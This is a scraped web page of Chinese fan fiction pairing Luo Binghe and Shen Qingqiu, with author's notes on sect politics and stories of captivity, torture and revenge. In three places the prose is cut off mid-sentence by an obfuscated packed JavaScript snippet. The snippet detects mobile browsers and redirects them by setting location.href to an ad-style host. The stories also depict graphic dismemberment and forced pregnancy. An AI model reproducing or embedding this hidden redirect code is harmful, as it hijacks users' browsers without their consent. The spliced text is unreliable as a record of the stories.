洛冰河磨了磨后槽牙,在两人期待的视线中——两杯酒一起喝下去。 这两货不知道又啥情况,非要让他选一个,就算是都喝也要分个前后。 在被这两货都坑过的情况下,洛冰河干脆一口气喝两杯得了! “行了吗?!”辛辣的酒水滑过咽喉,火辣辣的刺激着肠胃,激起一身薄汗。洛冰河瞪着两只心眼比筛子还多的狐狸成精,借着酒力,有些头脑飘忽。 “嗯。”方谢毅举杯,声音淡雅:“清静峰每年会从招收的数千杂役中选取人才,在六月中旬举办外门选拔大会,名额是一百人。” “这其中嘛。”君亦清将话头接下来:“按理说应是文武各半,可实际上……” 苍穹山身为修真大派,收徒不论出身,不究品行,亦不察资质。三年一次的考核通过后,拜入山门的弟子们,只需老实遵循苍穹山规,完成门派所派任务,便能获取门派资源,以此换取更好的修炼环境与生存条件。 可现实情况往往并非如此简单。 虽然门派宣称广纳贤才,不问出身来历。但那些根骨卓越者,通常皆有门派背景或者显赫家世。故而对于这些所谓的“关系户”,在实际操作中总归要多留意和照顾一些。 有雄心壮志者,如柳清歌那般痴迷比武切磋之人,投身百战峰,于激烈对战中追寻自我价值;有悲天悯人者,如木清芳等心怀慈悲、热衷救死扶伤之人,则入千草峰,以医术济世救人。而根据这些‘爱好’与习性不同,大家都会选择自己喜欢的方向拜入山门。 可那些有天资却贪图安逸者,大多就选择了文以载道的清静峰。 正因如此,清静峰于所有山峰中,拉帮结派现象最为显著,等级划分最为分明。 世家子弟们凭借家族背景相互勾结,划分势力范围。占据高位,呼风唤雨;平民子弟则处于底层,为求庇护,不得不依附于各方势力。稍有不慎,就可能成为权力斗争的牺牲品。 对应的,由于清静峰是富贵散人聚集地,平日里,除了十日一次的集体早课外,弟子们多是自发读书练字、舞文弄墨,至于那些练剑打坐、强健体魄什么的,几乎全凭自觉。 鉴于清静峰格外不同的管理制度,其他峰的弟子闲谈中,也会提起清静峰的离谱管治—— 沈清秋要么在竹屋闭关,要么在外寻找机缘。至于清静峰内部的教学和日常管理,都由大弟子明帆,和穹顶峰、百战峰、苦行峰等诸峰轮流派来的几个师伯负责。 那些拜入清静峰的弟子们,除了一开始的收徒大会远远望上几眼,以及当年的内门弟子考核中,能在拜师礼上亲眼见一次掌权人。除此之外,即便是内门弟子,都很少能与沈清秋有什么联系。 有时甚至到了即使看见寻常衣物的沈清秋,都认不出来他就是峰主的地步——当然,对于这群心高气傲的世家子来说,少了压在头上的实权人物,自是舒服得很。 所以说—— 君亦清笑了笑,将酒杯替洛冰河满上:“现在你知道,为什么大师兄不给你内门身份了吧?” 这群富贵散人平日里没事干就喜欢找点事。明帆既要忙清静峰与其他峰的外交,还要操心峰内几千人的整体衣食住行,得了闲还要去宁婴婴面前刷存在感,哪有闲工夫去处理杂事? 而这些分配下去的事情,最后只能落在常在山里的内门身上。所以说,内门弟子,听起来很高大上,实际上就是筛选出来给明帆干活的。 内门每年只有二十个,清静峰世家贵族最多,但也存在一部分平民。为了尽可能的公平公正,清静峰设定了内部考核机制,分为文试与武试,文七武三,恰将人数分得干净。而这些最后的胜出者,无一不是让所有人都信服的人才。 在一众人才济济中,失去了峰主特例的洛冰河,用什么跟他们比拼? 就算是给他内门之位,他又能给明帆减轻什么样的负担? 内门,是荣耀,亦是外出与其他峰打擂台的弟子;是行走在外的清静峰招牌;是苍穹山与其他门派比手腕的工具人。 相比较之下,还不如给他个外门弟子的资格,让他有地方住、有饭菜衣衫可依,平日里有人负责教导,安安稳稳的在清静峰内部待着修炼,到了日子下山的强。 只是—— 明帆和君亦清确实是一片好心。 可洛冰河不愿。 “我既然被师尊点出,又在拜师大会中途就来到这里,他就是我的师尊。” 少年郎眼睛亮亮的,里面是敢对世界宣战的勇猛:“内门限制颇多,但胜在距离他最近。我所求的,不过是想多见他几面,伴随他左右,为他做些什么!” “!”此话一出,别说是给他讲故事的君亦清,就是在一旁赏月的方谢毅,都瞬间瞪大了眼睛:“你……” 方谢毅将酒杯放下去,站起身来拍了拍君亦清的肩膀:“他所求的东西,别说我们给不了,大师兄给不了,即便是师尊,都给不了。” 君亦清不信邪的盯着洛冰河,忽而忍不住揉了揉眉心,声音复杂而低沉:“洛冰河,你知道你在说什么吗?” 沈清秋根本不喜欢与人接触,更是恨不得一个人躲在深山野林里始终不出现。现在,他面前的这个叫‘洛冰河’的小弟子,居然想‘多与他见几面’‘陪伴身侧’? 他以为他是宁婴婴,还是明帆? 即便是明帆,都不敢这样明晃晃的跑沈清秋面前说要跟他一道出门! 后生可畏。 后生可畏啊。 方谢毅抬头看了看天色,试图停止这段对话:“午夜了,我们回去吧。” 君亦清秉承着最后的耐心,劝诫洛冰河:“我劝你最好换个幻想,要不然……”师尊是真的会打死你的。 只是洛冰河的表情极其执着,眼中是九死而犹未悔的坚持:“我只有这一个愿望。” “……”君亦清右手忍不住伸缩了一下,食指与大拇指摩擦着,很想现在就把人打残丢下山去。方谢毅将手背附上去,制住了君亦清想杀人的动作:“我们能做的已经做了。” “你知道你要面对的是什么样的人吗?”方谢毅将君亦清稍微拉了拉,抓着君亦清的手,小心握在掌心: “师尊,凭借过目不忘的能力,一年之内将藏书阁书籍全部倒背如流;岳掌门,以一柄从不出鞘的剑和三寸不烂之舌,令苍穹山稳稳占据修真界第一;柳师叔,凭千年不出的纯粹剑心,打遍天下无敌手。” “单单这三个,就已堪称无敌。” “而你想要的,是连师尊都给不起的。” “我要的并不多。”洛冰河皱眉,不明白方谢毅突然说这些有什么意思。他只是想要亲近那个人,陪伴在那个人身边而已。 “你要的还不多?”君亦清脚都快踹出去了,要不是方谢毅拦在两人之间,恨不得指着洛冰河鼻子骂:“你知道你眼里是什么吗?” “你知道那些人在给不起代价的时候,会做出些什么吗?” “他们想弄死你,甚至不需要一根手指!蠢货!” “心比天高,命比纸薄!” “好了。”方谢毅将人拉在怀里,轻轻从后背替对方顺气。 “洛冰河。”他将视线扭过去,挡住暴怒的君亦清,眼底是洛冰河看不懂的复杂:“看来师尊那杯茶泼不醒你。” “?”洛冰河尝试着分辨突然变换的画风,方谢毅的眼里,应该是对他不自量力的嘲笑、初生牛犊的不屑、癞蛤蟆想吃天鹅肉的鄙视……以及一丝丝的、对少年意气的欣赏。 面对着洛冰河自己都没发现的情愫,方谢毅一边给人顺气,一边想了一下沈清秋会怎么做——嗯,大概是打瘸或干脆捏死。 既然如此,今天他们将人喊出来喝酒赏月,倒是越俎代庖了。沈清秋只需要表达不满,明帆会替他解决一切的。再不济,不是还有他们吗?不过是一个有点野心的少年而已。 “回去继续跪着,外门弟子选拔是明日辰时,你若是连这个都过不去,也别再说什么‘师尊选了你’的蠢话。” 冰九.此消彼长关于一些设定和后续 今天跟朋友聊了一下,对后续的一些简单私设,自我感觉还是很有逻辑性的。 首先,冰在一开始就是知道有两人选他。一个青衣一个白衣,白衣先选,青衣跟随并打了一架。 冰一眼万年的是青衣,但先选择冰的是白衣。所以对冰来说,他一开始就有两条路。这两条路,他不会觉得自己配不配,而是认为他进入了清静峰,就是错过了白衣人。 当人有两条路的时候,踏入其中一条,必然会后悔另一条风景是不是更好。 清静峰、青衣人没有给他想要的‘青云路’,也没有给他想要的‘和谐满足’。 所以冰的视角来说,青衣给了他失望,但白衣……他错过的那条路,会不会更加繁花似锦?尤其是,白衣柳的名声,可比青衣九强太多。 于是冰心存不甘,记恨于九,是说得通的。 其次,按照流程(自设),九半路将人带走,如果顺利的话,内门之位和亲传核心是铁定的。 但——他惹怒了九(原文怎么样我不知道,私设是惹怒后泼茶罚跪) 所以冰的内门位置,是直接破碎的。 这里我加了一些私设,让明帆和君亦清、方谢毅出面,将这件事里面的弯弯绕绕揉碎了掰给冰听。 只是——对于冰来说,这些都是假的。 他只知道一件事——九选了他,带走了他,可是这些人却不给他接近九的机会,连个内门弟子的位置都不给他。 前面说过了,冰以为他还有一条白衣路子,最开始选中他的白衣柳。 所以说,他在清静峰越是不满,对白衣柳的向往就越高;对柳的幻想越多,对九的不满就越强。这两者是随着时间不断叠加的。 ———— 清静峰内部的事情全是私设,所以这里解说一下、读者小天使们帮我看下有没有比较大的ooc和逻辑问题。 首先,按照“中途被带走”,是会走内门流程;但他把九惹怒了,所以,这个流程没走。 明帆去劝他,给不了内门,可以给外门,要不你当个外门,包你舒舒服服。结果冰非常执着,说九带他过来,还专门从柳手上抢过来,他只要内门,他要名正言顺的跟九站在一起。 这件事,在九不另外开口的情况下,会牵扯到当年的内门弟子名额,触犯到所有外门、杂役弟子的利益。明帆当然不愿意——哪个整体负责人,会希望下面人因为一个名额争得你死我活,影响平衡? 于是明帆很不开心,但想想这人毕竟是九专程带回来的,又让君亦清和方谢毅去跟他讲其中的拉扯,希望这完全不懂局势的傻子能理解。 结果冰依旧表示,他不退步,他就要跟九站在一起!是九带他回来的,就该好好当他师尊! 很好,冰在一开始得罪九之后,又惹怒了清静峰实际负责人明帆,接着又气到了内门佼佼者君亦清和方谢毅,于是整个内门——对冰的评价,就是【不识好歹】。 在后期的设想里,明帆是清静峰实际管理人,冰一般情况下根本见不到。(可以将他看成实际干活的教导主任或财务督导,除了必要场合‘讲话’ 平常谁能找到他?) 内门设定为在外干活、在山内当清静峰招牌,平日里居住在内门专门的地区,与外门与杂役分割开。 冰也遇不见。 所以冰遇见的,是外门和杂役,全是一些不入流的小角色。 但众所周知,当资源非常少又贫瘠的时候,穷山恶水出刁民啊……冰在前期可是纯洁小白花,被那群人,还不是坑的死惨? 再加上冰又心高气傲,认为自己一开局就让两名峰主争抢,本该是天上的凤凰却沦为与这些杂役外门相处,实在不行他去白衣柳的百战峰,不也能拼的个牛皮哄哄? 于是外门也容不下他。 谁能容得下一个心比天傲,却没啥实际能力,身后也没啥人支持,而且明显将师长、大师兄、内门师兄全部得罪完的憨憨啊? 正常来说,冰应该会被淹没在人群里,类似于死在宅斗的冤魂。 可是冰有宁婴婴这个女主角啊,【宁婴婴】是九的心中宝,是明帆最想讨好的同龄人,是整个清静峰都要捧着的小公主。 所以冰一方面差点淹死在算计里,一方面……又因着宁婴婴,时不时在内门刷存在感——当然,内门对冰的印象,那就是,越发不顺眼。 至此,冰真的是在清静峰举步维艰,相当难活。 好的,其实现在都不算是修仙范畴,甚至有些宫斗宅斗的影子了。一入宫门深似海,从此封心不再爱。(丫的,这一看就很难写。沈九线写探案权谋、柳九线写打怪升级、冰九线写宫斗,我真会自己坑自己。) 而冰记忆中的陷害,其实是正常的宫斗宅斗里面,互相算计拉扯。 冰记忆中的险死环生、被上位者惩罚,实际上真正呈现到九面前的,也就是几张需要处理的公务——而这些公务,且不说九会不会细看,起码明面上,触犯门规的,一定是冰。 九在冰的故事线里,类似于甄嬛传里面的大橘,有着相当强的权力,但实际上一直在外寻找突破的机缘,鲜少回山。 而就算是他回去了,冰除了借宁婴婴与九‘隔着讲述’了解一下,其实并不会真的有什么接触。 当然,这其中有一个小情节,我昨天洗澡时还跟朋友聊—— 设定柳去清静峰找九,正巧听到其他人为难冰,看了冰一眼后,将九从山下捞回来,嫌弃九不会教弟子。九气得要死,命人将冰带进来,当着柳的面一鞭子抽过去,说冰真是有本事,能让柳清歌亲自为他出头。 这时候冰才知道,柳清歌,才是一开始选中他的白衣人,是百战峰峰主,是当今打便天下无敌手的剑痴。 在九的不管事、清静峰的一摊烂泥里,柳清歌一身白衣胜雪,在第一次选择他后,现在还为他出头,替他挡九甩过来的鞭子。 冰怎么可能不对柳疯狂心动? 这才是他想要的师尊!沈清秋这个不管事又御下极其糟糕的峰主,根本不配当洛冰河的师尊! 于是冰对清静峰更厌恶,对百战峰更推崇。 可是九会放人吗?九会将手下弟子让给柳清歌吗? 于是九相当强势的表态‘本尊只要坐在这里,本尊就是清静峰的规矩。本尊不开口,谁敢让他走?’ 而且,九打不过柳,他不能打冰吗?冰既然能让柳为他出头,打冰和打柳的脸有什么区别?再加上,冰是清静峰的人,九就算是打了,又有谁能说? 所以九打了,边打边冲柳挑衅:‘清静峰的人,本尊就算是打死他,柳峰主又能如何?’ 激得柳再次与九对打。 瞬间将冰拉到当初那个——远远看着青衣与白衣为自己打架的时刻,再加上九那句‘清静峰的人’,在冰的耳朵里等同于‘沈清秋说洛冰河是他的人’。 于是在柳想要带冰走的时候,冰拒绝了。 在冰的心里,他已经为了沈清秋拒绝两次柳清歌,沈清秋总该对他好一点了吧? 那么事实呢? 九看见他就想起来柳清歌那个令人生气的货色,叠加一开始的沈九线里,他是知道洛冰河将来会将他搞得不生不死、残缺不堪的。 所以九完全不想搭理他,根本不会出现冰设想的那些‘温情’‘柔和’‘平淡’‘交流’之类。 冰的心啊,那真是……几乎要被踩成渣渣了。 可是对于九来说,这就是一个用来跟柳对着干的弟子而已,不管冰未来会怎么样,现在就是个(通过正常途径)连内门都爬不进去,还将周围人全部得罪干净的蠢货而已。 于是,冰九之间,一个心碎成渣,一个完全不放在眼里。相当的……be。 而梦魇之后,冰遇见一个贼喜欢把控人心,能操控其他人梦境、看见任何人隐私的梦魇老头。 这样的魔族之人,他会存在正常的三观,会跟冰说‘九只是正常掌权者心态’之类的话吗? 他不暗戳戳的踩九几脚,说什么‘你那人渣师尊当真不是人’就不错了。 而且—— 一个是随时随地的残魂私教; 一个是长年在外、手下几千上万之人的峰主。 不管怎么想,残魂都会看起来比峰主温柔可亲,善解人意吧? 所以啊…… 冰恨九,不愿意将九当成尊师对待,甚至想方设法的欲通过将九踩在脚底下的行为获取心里上的补偿。 也是完全说得通的。 而那句——恨来恨去,不就是恨他看不见你。 九从开始到结束,都【不承认】冰是他的弟子,将他当成与柳清歌对打的工具、当成看不上眼的蠢货、当成未来会打败他的敌人。 还真是,没将他放在眼里过。 俩人之间,完全不存在‘求仁得仁’。啊,也存在吧…… 比如九追求的一直是修为突破,是怎么样也不服软的铁血爷们; 冰追求的是更好的生活、推翻清静峰的泥潭、将九踩在脚下。 emmm,怎么不算是,完成了呢。 真是鬼一样的逻辑,而且居然还tm的能讲通顺,我都要佩服自己了。 果然,我写不来甜文,写不了爽文,成天都是沉重到无厘头的te。 21.平淡九X死皮赖脸冰 故事时期:沈清秋将洛冰河踢下无尽深渊后没几天,沈清秋去勾栏遛弯,被结局版冰哥相遇并掳走,昏迷已是数百年后。 期间冰哥努力模仿‘冰妹’却不得其果,最后发现他的‘沈清秋’不可能成为‘沈垣’;而他也不可能成为另一个世界的‘冰妹’。 二人各自“心怀鬼胎”,彼此提防对方的突然抽刀,却又尽可能维持相对平静相处的状态,双方挂着平淡交流的壳子,在这个‘平静’的世界里、岌岌可危的生活着。 沈清秋:“你不怕我跑了?” 冰哥:“当然,怕。” 冰哥神情极为认真,语气听起来也很诚恳:“弟子可是恨不得将您拴起来,永远不见人。” 沈清秋:“听起来是你会做的事。” 冰哥:“是啊,是弟子会干的。” 冰哥眼里露出有些怀念,却也有些庆幸的眼神,脑海里快速划过某些记忆碎片,最后被他压在眼底深处。 他露出一个练习过许多次的微笑,尽可能以阳光轻松的语气对沈清秋打趣:“只是弟子发现,师尊既然想出门,弟子当然要满足您的‘愿望’。” “出门还能算‘愿望’?” 沈清秋讥笑一声,突然刺道:“连出门的自由都没有,可真是‘好’啊。” “嗯……” 冰哥想起曾经连路都走不了,只能窝在几寸的阴影里苟且偷生的血团子,对比自己面前状态正常、与他‘和谐’相处的沈清秋,觉得还是正常存活的人更有趣。 只是这样的日子,不知能维持多久。 —— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126876|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈清秋:“你知道的,我不会救你。” 冰哥:“弟子不会拖师尊后腿的。” 沈清秋:“祸害遗千年,畜牲的命就是顽强。” 冰哥:“弟子还真怕您转身就溜,那时候就只能用点手段去寻您了。” 沈清秋:“你不怕秘境深处的东西,真能治好我?” 冰哥:“弟子有把握,能永远压制着您。” ——碎碎念—— 大概是,平淡九X死皮赖脸冰? 这个时间段切入时,沈九的心态还算正常,冰哥也不曾毁灭时间、杀伤无数。 所以沈九对他的评价就是:莫名其妙的狗皮膏药。 冰哥对沈九的评价就是:果然还是‘完整’的,永远不会温柔的‘沈清秋’,才是他想要的。 22.失忆九X弟子冰 假设:冰哥成为魔族至尊后将九掳到魔界,将九的记忆和修为抹去,丢给九一本修炼心法,将他‘软禁’在寝宫中。 想要囚禁沈清秋很麻烦,因为身为男频仙尊的他,是不可能会屈服于任何人,更不可能为了任何事妥协。 但——想要变相软禁,却是一件极其简单的事情。 比如,毕恭毕敬的给对方递上一本心法,接着说句‘您与修真界的杂碎打斗导致修为尽失和失忆’,最后送过去足量的辟谷丹。 沈清秋会沉迷于研究如何恢复修为,自顾自将自己关在屋子里,完全不考虑出门的事情。 而这,怎么不算为了冰哥‘画地为牢’,甘愿停留在寝宫中不出门呢? ———— “师尊。” 洛冰河去掉那些繁杂的装饰,以朴素的白衣进入沈清秋‘闭关’的寝宫,言语恭敬、态度平和的提出疑问: “弟子有一事不明。” 沈清秋从打坐中苏醒,用眼神示意他继续。 “弟子处于的地位高了,总有些献殷勤的人。弟子想知道,师尊是怎么面对他们呢?” 洛冰河的语气很平淡,眼底却带着几分回忆、试探与打量——已经与对方玩了这么久的‘师慈子孝’,如果沈清秋的回答令他不满意,今后就转道去牢房吧。 沈清秋极为理所当然:“培养一个副手,让他全权处理。” 洛冰河眼皮压了一下:“那师尊怎么确定,这个人不会欺上瞒下、有些自己的心思,继而为师尊埋下祸端?” 沈清秋诧异的看了对方一眼,总觉得这家伙应该话里有话,起码这个语气就有些不对头:“用人不疑。” 洛冰河眼里的光芒突然有些怪异,偏要与沈清秋就这个问题争论下去:“人皆有私欲,焉知不会因他废事?” “你好像很执着?”沈清秋愣了一下,语气加重道:“如果真因选择之人而毁事,那便认下。” 沈清秋的表情很是冷漠,其中是被人挑衅的不满与‘弟子怎么如此愚钝、没承担’指责的: “当初选择时便该看清,若后续因他而惹祸,也是彼时选择时识人不明。此时说他毁事,分明是上位者监管不严。” 所以说。 洛冰河的手掌微微蜷曲,手指被完全握紧。 沈清秋,你是认为自己错误的,对吧? 即便是并非你操刀砍杀,可最后导致的那些事,分明是上位者的疏忽,是你逃无可逃、避无可避的错处。 既如此,他的那些报复,你总是该认,并且绝不会逃避的吧? “还有事?” 沈清秋的语气说不上多好。 毕竟洛冰河刚才的问话,实在是令他认为‘洛冰河实无担当’,令他不满。 “弟子还想知道,如果有人以赤诚之意奉上、欲对弟子表达侍奉终身之心,师尊以为当如何面对?” 沈清秋:…… 丫的,这玩意今天未免太烦了! “忽视掉或者打压一下。” “?”洛冰河看着沈清秋明显烦躁的表情,知道自己不该进行询问,却还是追根究底道:“弟子不明白,请师尊示下。” “若是女子,世间对她们过于残酷,便多关注照顾一下;若是男子,直接将他们的心思打压一下,警告他们莫心存幻想。” “为何?” 洛冰河的额头已经有青筋在跳。这句话,既是对沈清秋这样操作的不理解,亦是对沈清秋‘男女有别’的严重反对。 凭什么宁婴婴对沈清秋表达‘想一辈子陪着师尊’,沈清秋会将对方宠成小公主;洛冰河连话都不敢说出口,小心翼翼的为对方送上喜欢的物什,却被无情丢弃? “你承担不起。” 沈清秋这句话说完后干脆闭眼,完全不再搭理洛冰河。 承担不起? 洛冰河仔细咀嚼着这四个字,越想,越觉得其中定有深意。 —— 洛冰河想知道的事情,怎么样都要获得答案。 如果现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132766|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实中沈清秋不愿意回答,他就进梦境去找。如果沈清秋正常状态下不愿意回答,他就将他的精神弄的崩溃后去找寻。 梦境中,沈清秋站在悬崖之上,迎着飓风练剑。 高处不胜寒。猛烈的冷风从深渊中吹来,无尽的闪电从高空中砸下,沈清秋就在这样的岌岌可危之境,完全不惧一步踏空。 “师尊。” 洛冰河静静欣赏对方的身姿,打定主意要让对方解释何为‘承受不起’。 “嗯。”沈清秋收剑,盘腿坐下:“何事。” “弟子想知道,为何不能接受他人赤诚之心。” “……” 沈清秋的表情一瞬间变得很古怪。 许久,沈清秋伸出手指着远处的深渊:“悬崖之下是无边深渊,其中没有阳光。” “若是有束光落下,照亮了什么。” “那束光,便是罪过。” 洛冰河顺着沈清秋视线望过去,脑海里却再想自己在无间深渊的那五年。对,深渊之中,除了杀戮与阴暗,确实没有光、没有热、没有善、没有爱。 除了靠过往的回忆反复提醒自己‘不能死去’,除了要爬出去将所有敌人砍杀殆尽、除了要将从不曾看向自己的人捏在手里。 洛冰河什么也没有。 所以,沈清秋是在说,他这束光,不该带给洛冰河希望? 可是沈清秋,你已经存在,你便是罪过。 沈清秋伸回手,难得露出回忆的表情: “虽然我失去大部分记忆,但我清楚的知道,我这样的人,是不该将其他人的光芒抓在手心。” “当然,我也抓不住。” ? 洛冰河被对方的话语拉回,耳边的话语竟带上几分不自信? 所以沈清秋说的,并非他是其他人的阳光,而是他自顾自的拒绝其他人奉上的温情,害怕抓不住那束光? 因为害怕失望,所以干脆不去靠近? 这……只能说,他们还真是相似。 23.九冰:生子,死亡才是归属 沈清秋睁开眼的时候,正在灵犀洞。过往的记忆与当下快速融合,使他能清楚的明白,这个时间段里,他正因为‘杀了柳清歌’而被众人非议。 救人是本能,可没救活人,就是过错。 旁人不会管救人之人究竟什么心思,他们只会将过错推到当场的另一人身上,将恶意肆无忌惮的清洒于对方,用谴责等手段将对方压入泥潭,好让自己站在阳光之下,高高在上。 这就是人性啊,恃强凌弱、欺压同类。天然的喜欢划分等级,用各种各样的条条框框圈出分类,然后站在高台之上、烈日之下,为他人定罪。 可笑沈清秋上一世为声名所困,为道德良心所扰,为过往而画地为牢,为自己不如旁人豁达而自弃,为养出一个毁天灭地的弟子而自责。 所以。他并不快乐。 甚至处处谨慎、时时警惕。 明明地处修真界第一大派,战力亦是世间巅峰,却依旧纠结于那些有的没的,自己为自己设限。 现在想想,洛冰河比他恶劣多了,杀的人、毁灭的东西也海了去了。 可是谁敢私底下说他的坏话? 无非是君子欺之以方,看他好说话罢了。 ———— 修为这种东西,有的时候要靠顿悟。而顿悟,无非就是‘想通’。 当沈清秋彻底走出困扰于自己的边线,不在给自己的心灵添加负担后,他终于步入了金丹后期。 而修为充沛的他,很是轻松的就将走火入魔的柳清歌拎在手里,丢到木清芳面前:“治病。” 接着,沈清秋转身回到清静峰,将柴房布上重重的阵法,全身灵力祭与修雅,对着其中那个身影砍过去。 洛冰河。要怪,就怪我回来而你没回来吧。 哪怕你不死不灭,在巨大的修为压制下,本尊让你不死也得死。 只是洛冰河实在是个恢复能力极强的bug,而且多次砍杀之后,洛冰河的眼神从疑惑不解,变成了震惊与愤怒。 接着,洛冰河随时捡起一根木柴,举剑与沈清秋对打。 两人的情绪都很激动。沈清秋恨洛冰河毁灭世界;洛冰河恨沈清秋无缘无故要灭杀‘无辜’的他。 虽说换位思考一下,洛冰河也会提前将沈清秋解决掉,可沈清秋毫不留情的砍杀还没恢复记忆的他,还是令洛冰河感到一丝心惊。 最终的结果是,强大的境界差距下,洛冰河被沈清秋压于脚下,用剑一道道的刺穿心口、咽喉,连血脉都被放尽。 可即便如此,洛冰河的身躯依旧不死不灭,灵魂也极为稳固。 “沈清秋,上古天魔族在凡尘根本没有灭杀办法,你杀不死我的。” 沈清秋连个眼神都不给,继续用修雅剑挑断洛冰河的筋脉,将对方体内的鲜血与骨肉剥离——他就不信,一具白骨,还能作什么妖。 洛冰河疼得满头冒汗,嘴里却依旧在挑衅对方:“师尊这次下手可真狠,看来当初弟子对您做的事令您记得很深啊。” 沈清秋的右手突然一顿,意味深长的看了对方一眼:“你说的不错。” 接着,毫不犹豫的将洛冰河的手臂和双腿砍下,让其只剩下躯干。 在洛冰河的冷嘶声中,将对方的头颅一并砍下。 只是很可惜,即便是‘五马分尸’,洛冰河的生命力依旧顽强,沈清秋花费了很多的功夫,依旧没能弄死对方。 在洛冰河的嘲笑下,沈清秋再次打上层层封印,走出柴门。 ———— 许久之后,洛冰河的身躯恢复正常,他一边骂着沈清秋,一边思考着待他寻到机会,要如何让沈清秋求生不得求死不能。 只是还没来得及思考,沈清秋手中拎着一壶酒重新带着寒意走进来。 “想跑?” 沈清秋看一眼重新修复齐全的洛冰河,心里感叹句‘祸害遗千年’,接着重新将对方砍成几块。 “沈清秋!” 洛冰河再次修复身体,满眼愤恨:“你究竟要做什么?” “看不出来吗?杀你啊。” 沈清秋悠悠哉的为自己斟上一杯以内力加热的酒水,看眼又一次恢复的洛冰河,几道暗器将人控住。嘴里似是骂了句什么,捏着酒杯的手更用力了些。 动作极为优雅的将美酒饮下,又挥挥手取出几坛被泥土封着的酒水。手掌猛的在坛口一拍,也不顾及泥土有没有掉进去,按住洛冰河,扒开嘴就向里倒:“便宜你了。” “呜呜——” 洛冰河被灌上几坛子的酒,整个人晕晕乎乎的,看人都带上了重影。而在一片朦胧中,他好像看见了一个属于沈清秋的、极其恶劣的笑容。 ———— 洛冰河近些天都在某个密室里呆着,若非沈清秋偶尔会过来几次,还每次都要挖苦讽刺、尝试着将他凌迟后流尽血液,倒也算得上‘金屋藏娇’。 只是随着时间的流逝,洛冰河开始反酸呕吐。更有甚者,他明明按照正常量吃辟谷丹,肚子却大了起来。 而自从洛冰河身姿明显变化后,沈清秋也不在尝试着将他片成白骨和分尸,反而开始给他灌各种莫名其妙、又苦又涩的药水来。 “沈清秋,你究竟要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137800|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞什么?” 洛冰河实在是打不过沈清秋又搞不懂对方的操作,心里实在是没底。故而,一贯能沉得住气的他,在这样的‘囚禁’生涯里,居然开始有了自说自说的习惯。 而每当沈清秋来到,洛冰河就将化身话唠本唠,恨不得拉着沈清秋将口水说干。 只是很明显,沈清秋并不是喜欢说话的性子。或者说,是不喜欢与洛冰河交谈。 即便洛冰河因被囚禁后心态开始崩溃,还是身体激素变化后发现了什么开始寻死觅活,沈清秋只负责将药物给对方灌下去,留下够量的辟谷丹。 ———— 十月怀胎,一朝分娩。 洛冰河虽为男子,却在各色药物的作用下,成功生下一个孩童。 而他身上的天魔血,也因为血液被稀释,变得含量更低,恢复能力大幅度减弱。 “沈清秋,你真是好样的。” 洛冰河脸上苍白的躺在床上,生子使他极为虚脱,大出血甚至比沈清秋用剑将他凌迟更疼痛。 “洛冰河,起个名字吧。” 沈清秋将满身血的孩童放置到一旁,以清洁术为其清除污迹。 “名字?你会将他如何?” 洛冰河是半魔,他的孩子是半魔的半魔,天魔血被大规模稀释,沈清秋若想杀他,现在是最好的机会。 “想听实话?” 沈清秋突然用修雅比着洛冰河的脖颈,在对方咽喉划过:“你若是心甘情愿赴死,他就送往人间富贵家;你若不死……” “呵呵……” 洛冰河微微扭头看了婴孩一眼,低沉的声音如同受损的出风口,沙哑又破碎:“以他威胁我?” “对。” 虽然这件事很不地道,但沈清秋还是承认了。他的目的是灭杀洛冰河,顺便让对方如上一世的他一样道心尽毁、受尽折磨。 所以,即便他用了些突破常理的手段,也是能接受的。 “我只问一句话,哪天,是你吗?” 洛冰河突然盯着沈清秋,眼神执着又热切,仿佛此刻的他不是即将血流尽失,生命进入倒计时似的。 “是。” 沈清秋脸上闪过明显的嫌弃,执着修雅的右手不小心划重了一下,洛冰河瞬间连破碎音腔都发不出。 看着对方突然如热炎般滚烫的眼眸,沈清秋脸上爬上一丝红晕:“只是为了万无一失。” ———— 沈清秋抱着孩童上山,不顾其他人谴责的眼神,向岳清源打休假的申请。入清静峰后,将事物交给明帆处理,居住于后山之中。 24.梦魇困不住,就成为他的梦魇 梦魇无法困住的人,便不能用过往捆绑他。那么,就让我为他书写被世界枷锁限制的未来吧。 征服你的形与灵,雌伏于我脚下。神志困于无尽的噩梦与情海,身躯成为最得心应手的傀儡与奴仆。 或许有一日,此人会骤然清醒,给我几刀? 但那又如何呢。 看着对方因神志不清而沉沦,固然畅快;但见其灵台清明却无法挣脱,岂不更乐? 肆意打压凌虐的上位者,随意发号施令的掌权人—— 现在却沦为敌人的玩物,连“情”都能被随意拎出来把玩,碾落成泥。 当真满足弱势者翻身农奴把歌唱,一举掌握世界的变态泄恨心理呢。 ——碎碎念—— 渣作者写过很多冰九。 